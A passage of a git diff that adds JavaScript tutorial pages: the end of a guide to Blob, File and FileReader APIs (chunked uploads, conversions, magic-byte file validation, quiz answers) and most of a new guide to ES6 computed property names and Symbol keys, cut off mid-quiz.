+ xhr.addEventListener('load', () => {
+ if (xhr.status >= 200 && xhr.status < 300) {
+ resolve(JSON.parse(xhr.responseText))
+ } else {
+ reject(new Error(`Upload failed: ${xhr.status}`))
+ }
+ })
+
+ xhr.addEventListener('error', () => reject(new Error('Network error')))
+
+ xhr.open('POST', '/api/upload')
+ xhr.send(formData)
+ })
+}
+
+// Usage
+uploadWithProgress(file, (percent) => {
+ progressBar.style.width = `${percent}%`
+ progressText.textContent = `${percent.toFixed(0)}%`
+})
+```
+
+---
+
+## Slicing Blobs
+
+The [`slice()`](https://developer.mozilla.org/en-US/docs/Web/API/Blob/slice) method creates a new Blob containing a portion of the original:
+
+```javascript
+const blob = new Blob(['Hello, World!'], { type: 'text/plain' })
+
+// Syntax: blob.slice(start, end, contentType)
+const firstFive = blob.slice(0, 5) // "Hello"
+const lastSix = blob.slice(-6) // "World!"
+const middle = blob.slice(7, 12) // "World"
+const withNewType = blob.slice(0, 5, 'text/html') // Change MIME type
+
+// Read the sliced content
+console.log(await firstFive.text()) // "Hello"
+```
+
+### Chunked File Upload
+
+For very large files, split them into chunks:
+
+```javascript
+async function uploadInChunks(file, chunkSize = 1024 * 1024) { // 1MB chunks
+ const totalChunks = Math.ceil(file.size / chunkSize)
+
+ for (let i = 0; i < totalChunks; i++) {
+ const start = i * chunkSize
+ const end = Math.min(start + chunkSize, file.size)
+ const chunk = file.slice(start, end)
+
+ const formData = new FormData()
+ formData.append('chunk', chunk)
+ formData.append('chunkIndex', i)
+ formData.append('totalChunks', totalChunks)
+ formData.append('filename', file.name)
+
+ await fetch('/api/upload-chunk', {
+ method: 'POST',
+ body: formData
+ })
+
+ console.log(`Uploaded chunk ${i + 1}/${totalChunks}`)
+ }
+}
+```
+
+### Reading Large Files in Chunks
+
+For processing large files without loading everything into memory:
+
+```javascript
+async function processLargeFile(file, chunkSize = 1024 * 1024) {
+ let offset = 0
+
+ while (offset < file.size) {
+ const chunk = file.slice(offset, offset + chunkSize)
+ const content = await chunk.text()
+
+ // Process this chunk
+ processChunk(content)
+
+ offset += chunkSize
+ console.log(`Processed ${Math.min(offset, file.size)} / ${file.size} bytes`)
+ }
+}
+```
+
+---
+
+## Converting Between Formats
+
+### Blob to Data URL
+
+```javascript
+// Using FileReader
+function blobToDataURL(blob) {
+ return new Promise((resolve, reject) => {
+ const reader = new FileReader()
+ reader.onload = () => resolve(reader.result)
+ reader.onerror = reject
+ reader.readAsDataURL(blob)
+ })
+}
+
+// Usage
+const blob = new Blob(['Hello'], { type: 'text/plain' })
+const dataUrl = await blobToDataURL(blob)
+// "data:text/plain;base64,SGVsbG8="
+```
+
+### Data URL to Blob
+
+```javascript
+function dataURLtoBlob(dataUrl) {
+ const [header, base64Data] = dataUrl.split(',')
+ const mimeType = header.match(/:(.*?);/)[1]
+ const binaryString = atob(base64Data)
+ const bytes = new Uint8Array(binaryString.length)
+
+ for (let i = 0; i < binaryString.length; i++) {
+ bytes[i] = binaryString.charCodeAt(i)
+ }
+
+ return new Blob([bytes], { type: mimeType })
+}
+
+// Usage
+const dataUrl = 'data:text/plain;base64,SGVsbG8='
+const blob = dataURLtoBlob(dataUrl)
+console.log(await blob.text()) // "Hello"
+```
+
+### Blob to ArrayBuffer and Back
+
+```javascript
+// Blob to ArrayBuffer
+const blob = new Blob(['Hello'])
+const buffer = await blob.arrayBuffer()
+
+// ArrayBuffer to Blob
+const newBlob = new Blob([buffer])
+```
+
+### Canvas to Blob
+
+```javascript
+// Get a canvas element
+const canvas = document.getElementById('myCanvas')
+
+// Convert to Blob (async)
+canvas.toBlob((blob) => {
+ // blob is now a Blob with image data
+ downloadBlob(blob, 'canvas-image.png')
+}, 'image/png', 0.9) // format, quality
+
+// Or with a Promise wrapper
+function canvasToBlob(canvas, type = 'image/png', quality = 0.9) {
+ return new Promise((resolve) => {
+ canvas.toBlob(resolve, type, quality)
+ })
+}
+```
+
+---
+
+## Common Mistakes
+
+### The #1 Blob Mistake: Forgetting to Revoke URLs
+
+```javascript
+// ❌ WRONG - Creates memory leak
+function previewImages(files) {
+ for (const file of files) {
+ const img = document.createElement('img')
+ img.src = URL.createObjectURL(file) // Never revoked!
+ gallery.appendChild(img)
+ }
+}
+
+// ✓ CORRECT - Revoke after image loads
+function previewImages(files) {
+ for (const file of files) {
+ const img = document.createElement('img')
+ const url = URL.createObjectURL(file)
+
+ img.onload = () => URL.revokeObjectURL(url)
+ img.src = url
+ gallery.appendChild(img)
+ }
+}
+```
+
+### Setting Content-Type with FormData
+
+```javascript
+// ❌ WRONG - Don't set Content-Type for FormData
+const formData = new FormData()
+formData.append('file', file)
+
+fetch('/api/upload', {
+ method: 'POST',
+ headers: {
+ 'Content-Type': 'multipart/form-data' // Wrong! Missing boundary
+ },
+ body: formData
+})
+
+// ✓ CORRECT - Let browser set Content-Type with boundary
+fetch('/api/upload', {
+ method: 'POST',
+ // No Content-Type header - browser handles it
+ body: formData
+})
+```
+
+### Not Validating File Types
+
+```javascript
+// ❌ WRONG - Trusting file extension
+if (file.name.endsWith('.jpg')) {
+ // User could rename any file to .jpg
+}
+
+// ✓ BETTER - Check MIME type
+if (file.type.startsWith('image/')) {
+ // More reliable, but can still be spoofed
+}
+
+// ✓ BEST - Validate magic bytes for critical applications
+async function isValidJPEG(file) {
+ const buffer = await file.slice(0, 3).arrayBuffer()
+ const bytes = new Uint8Array(buffer)
+ // JPEG magic number: FF D8 FF
+ return bytes[0] === 0xFF && bytes[1] === 0xD8 && bytes[2] === 0xFF
+}
+```
+
+---
+
+## Real-World Patterns
+
+### Image Compression Before Upload
+
+```javascript
+async function compressImage(file, maxWidth = 1200, quality = 0.8) {
+ // Create an image element
+ const img = new Image()
+ const url = URL.createObjectURL(file)
+
+ await new Promise((resolve, reject) => {
+ img.onload = resolve
+ img.onerror = reject
+ img.src = url
+ })
+
+ URL.revokeObjectURL(url)
+
+ // Calculate new dimensions
+ let { width, height } = img
+ if (width > maxWidth) {
+ height = (height * maxWidth) / width
+ width = maxWidth
+ }
+
+ // Draw to canvas
+ const canvas = document.createElement('canvas')
+ canvas.width = width
+ canvas.height = height
+
+ const ctx = canvas.getContext('2d')
+ ctx.drawImage(img, 0, 0, width, height)
+
+ // Convert back to blob
+ return new Promise((resolve) => {
+ canvas.toBlob(resolve, 'image/jpeg', quality)
+ })
+}
+
+// Usage
+const compressed = await compressImage(originalFile)
+console.log(`Original: ${originalFile.size}, Compressed: ${compressed.size}`)
+```
+
+### File Type Validation
+
+```javascript
+const ALLOWED_TYPES = {
+ 'image/jpeg': [0xFF, 0xD8, 0xFF],
+ 'image/png': [0x89, 0x50, 0x4E, 0x47],
+ 'image/gif': [0x47, 0x49, 0x46],
+ 'application/pdf': [0x25, 0x50, 0x44, 0x46]
+}
+
+async function validateFileType(file) {
+ const maxSignatureLength = Math.max(
+ ...Object.values(ALLOWED_TYPES).map(sig => sig.length)
+ )
+
+ const buffer = await file.slice(0, maxSignatureLength).arrayBuffer()
+ const bytes = new Uint8Array(buffer)
+
+ for (const [mimeType, signature] of Object.entries(ALLOWED_TYPES)) {
+ if (signature.every((byte, i) => bytes[i] === byte)) {
+ return { valid: true, detectedType: mimeType }
+ }
+ }
+
+ return { valid: false, detectedType: null }
+}
+```
+
+### Copy/Paste Image Handling
+
+```javascript
+document.addEventListener('paste', async (e) => {
+ const items = e.clipboardData?.items
+ if (!items) return
+
+ for (const item of items) {
+ if (item.type.startsWith('image/')) {
+ const file = item.getAsFile()
+
+ // Preview the pasted image
+ const url = URL.createObjectURL(file)
+ const img = document.createElement('img')
+ img.onload = () => URL.revokeObjectURL(url)
+ img.src = url
+ pasteTarget.appendChild(img)
+ }
+ }
+})
+```
+
+---
+
+## Key Takeaways
+
+
+**The key things to remember about Blob and File APIs:**
+
+1. **Blob is a container for binary data** — It stores raw bytes with a MIME type but doesn't expose contents directly. Use FileReader or Blob methods to read data.
+
+2. **File extends Blob** — File adds `name`, `lastModified`, and other metadata. Any API accepting Blob also accepts File.
+
+3. **FileReader is asynchronous** — Use `readAsText()`, `readAsDataURL()`, or `readAsArrayBuffer()` depending on your needs. Prefer `blob.text()` and `blob.arrayBuffer()` for simpler code.
+
+4. **Object URLs need cleanup** — Always call `URL.revokeObjectURL()` after using `URL.createObjectURL()` to avoid memory leaks.
+
+5. **Don't set Content-Type for FormData uploads** — The browser automatically sets the correct multipart boundary. Setting it manually breaks the upload.
+
+6. **Blobs are immutable** — You can't modify a Blob. Use `slice()` to create new Blobs from portions of existing ones.
+
+7. **Use slice() for large files** — Process files in chunks to avoid loading everything into memory at once.
+
+8. **Data URLs are synchronous but heavy** — They're convenient for small files but base64 encoding increases size by ~33%.
+
+9. **Validate files properly** — Don't trust file extensions or even MIME types. Check magic bytes for security-critical applications.
+
+10. **FormData handles multiple files** — Append files with the same key to upload multiple files in one request.
+
+
+---
+
+## Test Your Knowledge
+
+
+
+ **Answer:**
+
+ File extends Blob, inheriting all its properties and methods while adding file-specific metadata:
+
+ - `name`: The filename (e.g., "photo.jpg")
+ - `lastModified`: Timestamp when the file was last modified
+ - `webkitRelativePath`: Path for directory uploads
+
+ Any API that accepts a Blob also accepts a File, since File is a subclass of Blob.
+
+
+
+ **Answer:**
+
+ `URL.createObjectURL()` creates a reference to the Blob in memory that persists until the page unloads or you explicitly revoke it. Each call allocates memory that won't be garbage collected automatically.
+
+ If you create many Object URLs without revoking them (like in an image gallery preview), you'll leak memory. Always revoke the URL when you're done using it.
+
+ ```javascript
+ const url = URL.createObjectURL(blob)
+ img.src = url
+ img.onload = () => URL.revokeObjectURL(url) // Clean up
+ ```
+
+
+
+ **Answer:**
+
+ Two approaches:
+
+ ```javascript
+ // Modern way (Promise-based)
+ const text = await file.text()
+
+ // Traditional way (FileReader)
+ const reader = new FileReader()
+ reader.onload = () => console.log(reader.result)
+ reader.readAsText(file)
+ ```
+
+ The modern `blob.text()` method is cleaner for simple reads. Use FileReader when you need progress events.
+
+
+
+ **Answer:**
+
+ When uploading files with FormData, the Content-Type must be `multipart/form-data` with a specific boundary string that separates the parts. The browser generates this boundary automatically.
+
+ If you manually set `Content-Type: 'multipart/form-data'`, you won't include the boundary, and the server can't parse the request. Let the browser handle it:
+
+ ```javascript
+ // Correct - no Content-Type header
+ fetch('/upload', { method: 'POST', body: formData })
+ ```
+
+
+
+ **Answer:**
+
+ Use `blob.slice()` to read the file in chunks:
+
+ ```javascript
+ async function processInChunks(file, chunkSize = 1024 * 1024) {
+ let offset = 0
+
+ while (offset < file.size) {
+ const chunk = file.slice(offset, offset + chunkSize)
+ const content = await chunk.text()
+ processChunk(content)
+ offset += chunkSize
+ }
+ }
+ ```
+
+ This processes the file piece by piece, never loading more than `chunkSize` bytes into memory at once.
+
+
+
+ **Answer:**
+
+ **Data URLs** (`data:...base64,...`):
+ - Self-contained (no external reference)
+ - Can be stored, serialized, sent via JSON
+ - 33% larger than original (base64 overhead)
+ - Synchronous creation with FileReader
+
+ **Object URLs** (`blob:...`):
+ - Just a reference to the Blob in memory
+ - Must be revoked to free memory
+ - Same size as original data
+ - Only valid in the current document
+
+ Use Data URLs for small files you need to persist. Use Object URLs for temporary previews and large files.
+
+
+
+---
+
+## Related Concepts
+
+
+
+ Low-level binary data handling that works with Blobs
+
+
+ How to upload files to servers using fetch()
+
+
+ Understanding async operations used by Blob methods
+
+
+ Modern syntax for working with FileReader and Blob APIs
+
+
+
+---
+
+## Reference
+
+
+
+ Official MDN documentation for the Blob interface with constructor, properties, and methods.
+
+
+ MDN reference for the File interface that extends Blob with file-specific properties.
+
+
+ Complete reference for reading file contents asynchronously with all methods and events.
+
+
+ MDN guide covering file selection, drag-drop, and practical file handling patterns.
+
+
+
+---
+
+## Articles
+
+
+
+ Comprehensive tutorial covering Blob creation, URLs, conversions, and image handling. Part of the excellent Binary Data section on javascript.info.
+
+
+ Detailed guide on File objects and FileReader with practical examples for reading different file formats.
+
+
+ Step-by-step tutorial with complete code examples for text, image, and binary file reading.
+
+
+ Modern take on File API covering everything from basic input handling to advanced validation patterns.
+
+
+ Concise introduction to FileReader with clear explanations of when and why to use each reading method.
+
+
+
+---
+
+## Videos
+
+
+
+ Clear 10-minute walkthrough of FileReader basics with a practical file preview example. Great starting point.
+
+
+ Complete file upload implementation from frontend to backend, covering validation, progress, and error handling.
+
+
+ Practical tutorial building a drag-and-drop file upload zone with preview functionality.
+
+
diff --git a/docs/beyond/concepts/computed-property-names.mdx b/docs/beyond/concepts/computed-property-names.mdx
new file mode 100644
index 00000000..b6fff4b9
--- /dev/null
+++ b/docs/beyond/concepts/computed-property-names.mdx
@@ -0,0 +1,952 @@
+---
+title: "Computed Property Names: Dynamic Object Keys in JavaScript"
+sidebarTitle: "Computed Property Names"
+description: "Learn JavaScript computed property names. Create dynamic object keys with variables, expressions, Symbols, and computed methods for cleaner ES6+ code."
+---
+
+Have you ever needed to create an object where the property name comes from a variable? Before ES6, this required creating the object first, then adding the property in a separate step. Computed property names changed everything.
+
+```javascript
+// Before ES6 - two steps required
+const key = 'status';
+const obj = {};
+obj[key] = 'active';
+
+// ES6 computed property names - single expression
+const key2 = 'status';
+const obj2 = { [key2]: 'active' };
+
+console.log(obj2); // { status: 'active' }
+```
+
+With **computed property names**, you can use any expression inside square brackets `[]` within an object literal, and JavaScript evaluates that expression to determine the property name. This seemingly small syntax addition enables powerful patterns for dynamic object creation.
+
+
+**What you'll learn in this guide:**
+- What computed property names are and their ES6 syntax
+- How JavaScript evaluates computed keys (order of evaluation)
+- Dynamic keys with variables and expressions
+- Using Symbol keys for unique, non-colliding properties
+- Computed method names, getters, and setters
+- Common patterns: form handling, state updates, internationalization
+- Edge cases: duplicate keys, type coercion, and the `__proto__` gotcha
+
+
+
+**Prerequisite:** This guide assumes familiarity with [object basics](/concepts/primitive-types) and [bracket notation](/concepts/modern-js-syntax) for property access. Some examples use [Symbols](/beyond/concepts/javascript-type-nuances), which are covered in detail in the Symbol Keys section.
+
+
+---
+
+## What are Computed Property Names?
+
+**Computed property names** are an ES6 feature that allows you to use an expression inside square brackets `[]` within an object literal to dynamically determine a property's name at runtime. The expression is evaluated, converted to a string (or kept as a Symbol), and used as the property key. This enables creating objects with dynamic keys in a single expression, eliminating the need for the two-step create-then-assign pattern required before ES6.
+
+```javascript
+const field = 'email';
+const value = 'alice@example.com';
+
+// The expression [field] is evaluated to get the key name
+const formData = {
+ [field]: value,
+ [`${field}_verified`]: true
+};
+
+console.log(formData);
+// { email: 'alice@example.com', email_verified: true }
+```
+
+Think of computed property names as **dynamic labels** for your object's filing cabinet. Instead of pre-printing labels (static keys), you're using a label maker (the expression) to print the label right when you create the file.
+
+---
+
+## The Dynamic Label Analogy
+
+Imagine you're organizing a filing cabinet. With traditional object literals, you must know all the label names in advance. With computed properties, you can generate labels on the fly.
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│ COMPUTED PROPERTY NAMES: DYNAMIC LABELS │
+├─────────────────────────────────────────────────────────────────────────────┤
+│ │
+│ STATIC KEYS (Traditional) COMPUTED KEYS (ES6) │
+│ ───────────────────────── ────────────────────── │
+│ │
+│ Pre-printed labels: Label maker: │
+│ ┌──────────────────┐ ┌──────────────────┐ │
+│ │ name: "Alice" │ │ [key]: "Alice" │ │
+│ │ age: 30 │ │ [prefix+id]: 30 │ │
+│ └──────────────────┘ └──────────────────┘ │
+│ │ │
+│ You must know "name" key can be any │
+│ and "age" at write time expression evaluated │
+│ at runtime │
+│ │
+│ const obj = { const key = 'name'; │
+│ name: "Alice", const obj = { │
+│ age: 30 ──────────────► [key]: "Alice", │
+│ }; [`user_${key}`]: "Alice" │
+│ }; │
+│ │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Basic Syntax
+
+The syntax is straightforward: wrap any expression in square brackets `[]` where you would normally write a property name.
+
+### Variable as Key
+
+The most common use case is using a variable's value as the property name:
+
+```javascript
+const propName = 'score';
+const player = {
+ name: 'Alice',
+ [propName]: 100
+};
+
+console.log(player); // { name: 'Alice', score: 100 }
+console.log(player.score); // 100
+```
+
+### Template Literal as Key
+
+Template literals let you build dynamic key names with string interpolation:
+
+```javascript
+const prefix = 'user';
+const id = 42;
+
+const data = {
+ [`${prefix}_${id}`]: 'Alice',
+ [`${prefix}_${id}_role`]: 'admin'
+};
+
+console.log(data);
+// { user_42: 'Alice', user_42_role: 'admin' }
+```
+
+### Expression as Key
+
+Any valid JavaScript expression works inside the brackets:
+
+```javascript
+const i = 0;
+
+const obj = {
+ ['prop' + (i + 1)]: 'first',
+ ['prop' + (i + 2)]: 'second',
+ [1 + 1]: 'number key'
+};
+
+console.log(obj);
+// { '2': 'number key', prop1: 'first', prop2: 'second' }
+```
+
+### Function Call as Key
+
+You can even call functions to generate key names:
+
+```javascript
+function getKey(type) {
+ return `data_${type}_${Date.now()}`;
+}
+
+const cache = {
+ [getKey('user')]: { name: 'Alice' }
+};
+
+console.log(Object.keys(cache)[0]);
+// Something like: 'data_user_1699123456789'
+```
+
+---
+
+## How the Engine Evaluates Computed Keys
+
+Understanding the evaluation order is crucial for avoiding subtle bugs.
+
+### Order of Evaluation: Key Before Value
+
+When JavaScript encounters a computed property, it evaluates the **key expression first**, then the **value expression**. Properties are processed left-to-right in source order.
+
+```javascript
+let counter = 0;
+
+const obj = {
+ [++counter]: counter, // key: 1, value: 1
+ [++counter]: counter, // key: 2, value: 2
+ [++counter]: counter // key: 3, value: 3
+};
+
+console.log(obj);
+// { '1': 1, '2': 2, '3': 3 }
+```
+
+Each property's key expression (`++counter`) is evaluated before its value expression (`counter`), so the key and value end up with the same number.
+
+### Type Coercion: ToPropertyKey()
+
+Property keys can only be **strings** or **Symbols**. When you use any other type, JavaScript converts it using an internal operation called `ToPropertyKey()`:
+
+| Input Type | Conversion |
+|------------|------------|
+| String | Used as-is |
+| Symbol | Used as-is |
+| Number | Converted to string: `42` → `"42"` |
+| Boolean | `true` → `"true"`, `false` → `"false"` |
+| null | `"null"` |
+| undefined | `"undefined"` |
+| Object | Calls `toString()` → usually `"[object Object]"` |
+| Array | Calls `toString()` → `[1,2,3]` becomes `"1,2,3"` |
+
+```javascript
+const obj = {
+ [42]: 'number',
+ [true]: 'boolean',
+ [null]: 'null',
+ [[1, 2, 3]]: 'array'
+};
+
+console.log(obj);
+// { '42': 'number', 'true': 'boolean', 'null': 'null', '1,2,3': 'array' }
+
+// Number keys and string keys can collide!
+console.log(obj[42]); // 'number'
+console.log(obj['42']); // 'number' (same property!)
+```
+
+
+**Common gotcha:** Number and string keys that convert to the same string refer to the same property. `obj[1]` and `obj['1']` access the same property.
+
+
+---
+
+## Before ES6: The Two-Step Pattern
+
+Before computed property names, creating objects with dynamic keys required multiple steps:
+
+```javascript
+// ES5: Create object, then add dynamic property
+function createUser(role, name) {
+ var obj = {};
+ obj[role] = name;
+ return obj;
+}
+
+var admin = createUser('admin', 'Alice');
+console.log(admin); // { admin: 'Alice' }
+```
+
+This was especially awkward in situations requiring single expressions:
+
+```javascript
+// ES5: IIFE pattern for single-expression dynamic keys
+var role = 'admin';
+var users = (function() {
+ var obj = {};
+ obj[role] = 'Alice';
+ return obj;
+})();
+
+// ES6: Clean single expression
+const role2 = 'admin';
+const users2 = { [role2]: 'Alice' };
+```
+
+The ES6 syntax shines in:
+- **Default function parameters** that need dynamic objects
+- **Arrow functions** with implicit returns
+- **Const declarations** requiring immediate initialization
+- **Array methods** like `map()` and `reduce()`
+
+```javascript
+// ES6 enables elegant patterns
+const fields = ['name', 'email', 'age'];
+const defaults = fields.reduce(
+ (acc, field) => ({ ...acc, [field]: '' }),
+ {}
+);
+
+console.log(defaults);
+// { name: '', email: '', age: '' }
+```
+
+---
+
+## Symbol Keys: The Primary Use Case
+
+Symbols are unique, immutable identifiers that can **only** be used as object keys via computed property syntax. This is one of the most important use cases for computed properties.
+
+### Why Symbols Need Computed Syntax
+
+You cannot use a Symbol with the shorthand or colon syntax:
+
+```javascript
+const mySymbol = Symbol('id');
+
+// This creates a string key "mySymbol", NOT a Symbol key!
+const wrong = { mySymbol: 'value' };
+console.log(Object.keys(wrong)); // ['mySymbol']
+
+// This uses the Symbol as the key
+const correct = { [mySymbol]: 'value' };
+console.log(Object.keys(correct)); // [] (Symbols don't appear in keys!)
+console.log(Object.getOwnPropertySymbols(correct)); // [Symbol(id)]
+```
+
+### Symbol Keys Are Hidden
+
+Symbol-keyed properties don't appear in most iteration methods:
+
+```javascript
+const secret = Symbol('secret');
+
+const user = {
+ name: 'Alice',
+ [secret]: 'classified information'
+};
+
+// Symbol keys are hidden from these:
+console.log(Object.keys(user)); // ['name']
+console.log(JSON.stringify(user)); // '{"name":"Alice"}'
+
+for (const key in user) {
+ console.log(key); // Only logs 'name'
+}
+
+// But you can still access them:
+console.log(user[secret]); // 'classified information'
+console.log(Object.getOwnPropertySymbols(user)); // [Symbol(secret)]
+```
+
+### Well-Known Symbols: Customizing Object Behavior
+
+JavaScript has built-in "well-known" Symbols that let you customize how objects behave. These must be used with computed property syntax.
+
+#### Symbol.iterator: Make Objects Iterable
+
+```javascript
+const range = {
+ start: 1,
+ end: 5,
+
+ [Symbol.iterator]() {
+ let current = this.start;
+ const end = this.end;
+
+ return {
+ next() {
+ if (current <= end) {
+ return { value: current++, done: false };
+ }
+ return { done: true };
+ }
+ };
+ }
+};
+
+console.log([...range]); // [1, 2, 3, 4, 5]
+
+for (const num of range) {
+ console.log(num); // 1, 2, 3, 4, 5
+}
+```
+
+#### Symbol.toStringTag: Custom Type String
+
+```javascript
+const myCollection = {
+ items: [],
+ [Symbol.toStringTag]: 'MyCollection'
+};
+
+console.log(Object.prototype.toString.call(myCollection));
+// '[object MyCollection]'
+
+// Compare to a plain object:
+console.log(Object.prototype.toString.call({}));
+// '[object Object]'
+```
+
+#### Symbol.toPrimitive: Custom Type Coercion
+
+```javascript
+const temperature = {
+ celsius: 20,
+
+ [Symbol.toPrimitive](hint) {
+ switch (hint) {
+ case 'number':
+ return this.celsius;
+ case 'string':
+ return `${this.celsius}°C`;
+ default:
+ return this.celsius;
+ }
+ }
+};
+
+console.log(+temperature); // 20 (number hint)
+console.log(`${temperature}`); // '20°C' (string hint)
+console.log(temperature + 10); // 30 (default hint)
+```
+
+### Privacy Patterns with Symbols
+
+While not truly private, Symbol keys provide a level of encapsulation:
+
+```javascript
+// Module-scoped Symbol - not exported
+const _balance = Symbol('balance');
+
+class BankAccount {
+ constructor(initial) {
+ this[_balance] = initial;
+ }
+
+ deposit(amount) {
+ this[_balance] += amount;
+ }
+
+ getBalance() {
+ return this[_balance];
+ }
+}
+
+const account = new BankAccount(100);
+console.log(Object.keys(account)); // []
+console.log(JSON.stringify(account)); // '{}'
+console.log(account.getBalance()); // 100
+
+// Still accessible if you know about Symbols:
+const symbols = Object.getOwnPropertySymbols(account);
+console.log(account[symbols[0]]); // 100
+```
+
+---
+
+## Computed Method Names
+
+Computed property syntax works with method shorthand for dynamically-named methods:
+
+### Basic Computed Methods
+
+```javascript
+const action = 'greet';
+
+const obj = {
+ [action]() {
+ return 'Hello!';
+ },
+ [`${action}Loudly`]() {
+ return 'HELLO!';
+ }
+};
+
+console.log(obj.greet()); // 'Hello!'
+console.log(obj.greetLoudly()); // 'HELLO!'
+```
+
+### Computed Generator Methods
+
+```javascript
+const iteratorName = 'values';
+
+const collection = {
+ items: [1, 2, 3],
+
+ *[iteratorName]() {
+ for (const item of this.items) {
+ yield item * 2;
+ }
+ }
+};
+
+console.log([...collection.values()]); // [2, 4, 6]
+```
+
+### Computed Async Methods
+
+```javascript
+const fetchName = 'fetchData';
+
+const api = {
+ async [fetchName](url) {
+ const response = await fetch(url);
+ return response.json();
+ }
+};
+
+// api.fetchData('https://api.example.com/data')
+```
+
+---
+
+## Computed Getters and Setters
+
+You can combine computed property names with [getters and setters](/beyond/concepts/getters-setters):
+
+```javascript
+const prop = 'fullName';
+
+const person = {
+ firstName: 'Alice',
+ lastName: 'Smith',
+
+ get [prop]() {
+ return `${this.firstName} ${this.lastName}`;
+ },
+
+ set [prop](value) {
+ const parts = value.split(' ');
+ this.firstName = parts[0];
+ this.lastName = parts[1];
+ }
+};
+
+console.log(person.fullName); // 'Alice Smith'
+
+person.fullName = 'Bob Jones';
+console.log(person.firstName); // 'Bob'
+console.log(person.lastName); // 'Jones'
+```
+
+### Symbol-Keyed Accessors
+
+```javascript
+const _value = Symbol('value');
+
+const validated = {
+ [_value]: 0,
+
+ get [Symbol.for('value')]() {
+ return this[_value];
+ },
+
+ set [Symbol.for('value')](v) {
+ if (typeof v !== 'number') {
+ throw new TypeError('Value must be a number');
+ }
+ this[_value] = v;
+ }
+};
+
+validated[Symbol.for('value')] = 42;
+console.log(validated[Symbol.for('value')]); // 42
+```
+
+---
+
+## Real-World Use Cases
+
+### Form Field Handling
+
+React and Vue state updates commonly use computed properties:
+
+```javascript
+// React-style form handler
+function handleInputChange(fieldName, value) {
+ return {
+ [fieldName]: value,
+ [`${fieldName}Touched`]: true,
+ [`${fieldName}Error`]: null
+ };
+}
+
+const updates = handleInputChange('email', 'alice@example.com');
+console.log(updates);
+// {
+// email: 'alice@example.com',
+// emailTouched: true,
+// emailError: null
+// }
+```
+
+### Redux-Style State Updates
+
+```javascript
+// Reducer pattern with computed properties
+function updateField(state, field, value) {
+ return {
+ ...state,
+ [field]: value,
+ lastModified: Date.now()
+ };
+}
+
+const state = { name: 'Alice', email: '' };
+const newState = updateField(state, 'email', 'alice@example.com');
+
+console.log(newState);
+// { name: 'Alice', email: 'alice@example.com', lastModified: 1699123456789 }
+```
+
+### Internationalization (i18n)
+
+```javascript
+function createTranslations(locale, translations) {
+ return {
+ [`messages_${locale}`]: translations,
+ [`${locale}_loaded`]: true,
+ [`${locale}_timestamp`]: Date.now()
+ };
+}
+
+const spanish = createTranslations('es', { hello: 'hola' });
+console.log(spanish);
+// {
+// messages_es: { hello: 'hola' },
+// es_loaded: true,
+// es_timestamp: 1699123456789
+// }
+```
+
+### Dynamic API Response Mapping
+
+```javascript
+function normalizeResponse(entityType, items) {
+ return items.reduce((acc, item) => ({
+ ...acc,
+ [`${entityType}_${item.id}`]: item
+ }), {});
+}
+
+const users = [
+ { id: 1, name: 'Alice' },
+ { id: 2, name: 'Bob' }
+];
+
+const normalized = normalizeResponse('user', users);
+console.log(normalized);
+// {
+// user_1: { id: 1, name: 'Alice' },
+// user_2: { id: 2, name: 'Bob' }
+// }
+```
+
+---
+
+## Common Mistakes and Edge Cases
+
+### Duplicate Computed Keys: Last One Wins
+
+When multiple computed properties evaluate to the same key, the last one overwrites previous values:
+
+```javascript
+const key = 'same';
+
+const obj = {
+ [key]: 'first',
+ ['sa' + 'me']: 'second',
+ same: 'third' // Static key, same string
+};
+
+console.log(obj); // { same: 'third' }
+```
+
+### Keys That Throw Errors
+
+If the key expression throws, object creation is aborted entirely:
+
+```javascript
+function badKey() {
+ throw new Error('Key evaluation failed');
+}
+
+// This throws before the object is created
+try {
+ const obj = {
+ valid: 'ok',
+ [badKey()]: 'never reached'
+ };
+} catch (e) {
+ console.log(e.message); // 'Key evaluation failed'
+}
+```
+
+### Object Keys: toString() Collisions
+
+Objects used as keys call `toString()`, which can cause unexpected collisions:
+
+```javascript
+const objA = { toString: () => 'key' };
+const objB = { toString: () => 'key' };
+
+const data = {
+ [objA]: 'first',
+ [objB]: 'second' // Overwrites! Both → 'key'
+};
+
+console.log(data); // { key: 'second' }
+```
+
+### The `__proto__` Special Case
+
+The `__proto__` key has special behavior depending on how it's written:
+
+```javascript
+// Non-computed: Sets the prototype!
+const obj1 = { __proto__: Array.prototype };
+console.log(obj1 instanceof Array); // true
+console.log(Object.hasOwn(obj1, '__proto__')); // false
+
+// Computed: Creates a normal property
+const obj2 = { ['__proto__']: Array.prototype };
+console.log(obj2 instanceof Array); // false
+console.log(Object.hasOwn(obj2, '__proto__')); // true
+
+// Shorthand: Also creates a normal property
+const __proto__ = 'just a string';
+const obj3 = { __proto__ };
+console.log(obj3.__proto__); // 'just a string' (own property)
+```
+
+
+**Important:** Only the non-computed colon syntax (`__proto__: value`) sets the prototype. Computed `['__proto__']` and shorthand `{ __proto__ }` create regular properties.
+
+
+---
+
+## Key Takeaways
+
+
+**The key things to remember:**
+
+1. **Computed properties use `[expression]` syntax** in object literals to create dynamic key names at runtime.
+
+2. **The key expression is evaluated before the value expression.** Properties are processed left-to-right in source order.
+
+3. **Non-string/Symbol keys are coerced via ToPropertyKey().** Numbers become strings, objects call `toString()`.
+
+4. **Symbols can ONLY be used as keys via computed property syntax.** The syntax `{ mySymbol: value }` creates a string key `"mySymbol"`.
+
+5. **Well-known Symbols customize object behavior.** Use `[Symbol.iterator]` for iteration, `[Symbol.toStringTag]` for type strings.
+
+6. **Computed method syntax enables dynamic method names.** Works with regular methods, generators, and async methods.
+
+7. **Computed getters/setters enable dynamic accessor properties.** Combine `get [expr]()` and `set [expr](v)` for dynamic accessors.
+
+8. **Pre-ES6 required two steps; ES6 enables single-expression objects.** This is especially useful in `reduce()`, arrow functions, and default parameters.
+
+9. **Duplicate computed keys are allowed—last one wins.** No error is thrown; the later value simply overwrites.
+
+10. **The `__proto__` key behaves differently in computed vs non-computed form.** Only non-computed colon syntax sets the prototype.
+
+
+---
+
+## Test Your Knowledge
+
+
+
+ **Answer:**
+
+ - `{ key: value }` creates a property with the literal name `"key"` (a static string).
+ - `{ [key]: value }` evaluates the variable `key` and uses its **value** as the property name.
+
+ ```javascript
+ const key = 'dynamicName';
+
+ const static = { key: 'value' };
+ console.log(static); // { key: 'value' }
+
+ const dynamic = { [key]: 'value' };
+ console.log(dynamic); // { dynamicName: 'value' }
+ ```
+
+ The square brackets signal "evaluate this expression to get the key name."
+
+
+
+ **Answer:**
+
